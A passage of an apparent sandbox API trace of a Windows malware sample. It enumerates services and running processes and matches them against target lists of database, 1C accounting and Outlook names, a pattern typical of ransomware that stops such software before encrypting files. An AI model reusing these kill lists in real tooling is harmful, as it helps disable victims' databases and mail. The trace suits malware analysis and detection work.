[0053.476] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.476] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.476] lstrlenW (lpString="PlugPlay") returned 8 [0053.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.476] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.476] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.476] lstrlenW (lpString="Power") returned 5 [0053.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.476] lstrlenW (lpString="ProfSvc") returned 7 [0053.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.476] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.476] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.476] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.476] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.476] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.476] lstrlenW (lpString="RpcSs") returned 5 [0053.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.477] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.477] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.477] lstrlenW (lpString="SamSs") returned 5 [0053.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.477] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.477] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.477] lstrlenW (lpString="Schedule") returned 8 [0053.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.477] lstrlenW (lpString="SENS") returned 4 [0053.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.477] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.477] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.477] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.477] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.477] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.477] lstrlenW (lpString="Spooler") returned 7 [0053.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.478] lstrlenW (lpString="swprv") returned 5 [0053.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0053.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0053.478] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0053.478] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0053.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0053.478] lstrlenW (lpString="SysMain") returned 7 [0053.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.478] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.478] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.478] lstrlenW (lpString="Themes") returned 6 [0053.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.478] lstrlenW (lpString="TrkWks") returned 6 [0053.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.478] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.478] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.478] lstrlenW (lpString="UxSms") returned 5 [0053.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.478] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.478] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.478] lstrlenW (lpString="VSS") returned 3 [0053.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.479] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.479] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.479] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.479] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.479] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.479] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.479] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.479] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.479] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.479] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.479] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.479] lstrlenW (lpString="Winmgmt") returned 7 [0053.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.479] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.479] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.479] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.480] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0053.480] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220 [0053.482] Process32FirstW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.483] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.483] lstrlenW (lpString="System") returned 6 [0053.483] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.483] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.483] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.484] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.484] lstrlenW (lpString="smss.exe") returned 8 [0053.484] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.484] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.484] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.485] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.485] lstrlenW (lpString="csrss.exe") returned 9 [0053.485] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.485] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.485] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.485] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.486] lstrlenW (lpString="wininit.exe") returned 11 [0053.486] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.486] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.486] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.653] lstrlenW (lpString="csrss.exe") returned 9 [0053.655] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.675] lstrlenW (lpString="winlogon.exe") returned 12 [0053.681] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.011] lstrlenW (lpString="services.exe") returned 12 [0054.013] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.018] lstrlenW (lpString="lsass.exe") returned 9 [0054.018] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.018] lstrlenW (lpString="lsm.exe") returned 7 [0054.018] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.019] lstrlenW (lpString="svchost.exe") returned 11 [0054.019] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.020] lstrlenW (lpString="svchost.exe") returned 11 [0054.020] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.020] lstrlenW (lpString="svchost.exe") returned 11 [0054.020] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.021] lstrlenW (lpString="svchost.exe") returned 11 [0054.021] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.022] lstrlenW (lpString="svchost.exe") returned 11 [0054.022] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.022] lstrlenW (lpString="audiodg.exe") returned 11 [0054.022] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.023] lstrlenW (lpString="svchost.exe") returned 11 [0054.023] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.024] lstrlenW (lpString="svchost.exe") returned 11 [0054.024] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.024] lstrlenW (lpString="dwm.exe") returned 7 [0054.025] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.025] lstrlenW (lpString="explorer.exe") returned 12 [0054.025] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.026] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.026] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.026] lstrlenW (lpString="taskhost.exe") returned 12 [0054.027] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.027] lstrlenW (lpString="svchost.exe") returned 11 [0054.027] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.028] lstrlenW (lpString="taskeng.exe") returned 11 [0054.028] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.029] lstrlenW (lpString="taskhost.exe") returned 12 [0054.029] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0054.029] lstrlenW (lpString="presidential.exe") returned 16 [0054.029] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0054.030] lstrlenW (lpString="ol-filing.exe") returned 13 [0054.030] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0054.031] lstrlenW (lpString="overcome.exe") returned 12 [0054.031] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0054.031] lstrlenW (lpString="declinedreferral.exe") returned 20 [0054.031] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0054.032] lstrlenW (lpString="franciscotrack.exe") returned 18 [0054.032] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0054.033] lstrlenW (lpString="nicholas.exe") returned 12 [0054.033] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0054.034] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0054.034] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0054.034] lstrlenW (lpString="word.exe") returned 8 [0054.034] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0054.035] lstrlenW (lpString="semestermeta.exe") returned 16 [0054.035] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0054.036] lstrlenW (lpString="reflects.exe") returned 12 [0054.036] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0054.036] lstrlenW (lpString="beveragesradios.exe") returned 19 [0054.036] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0054.037] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0054.037] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0054.038] lstrlenW (lpString="ground.exe") returned 10 [0054.038] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0054.038] lstrlenW 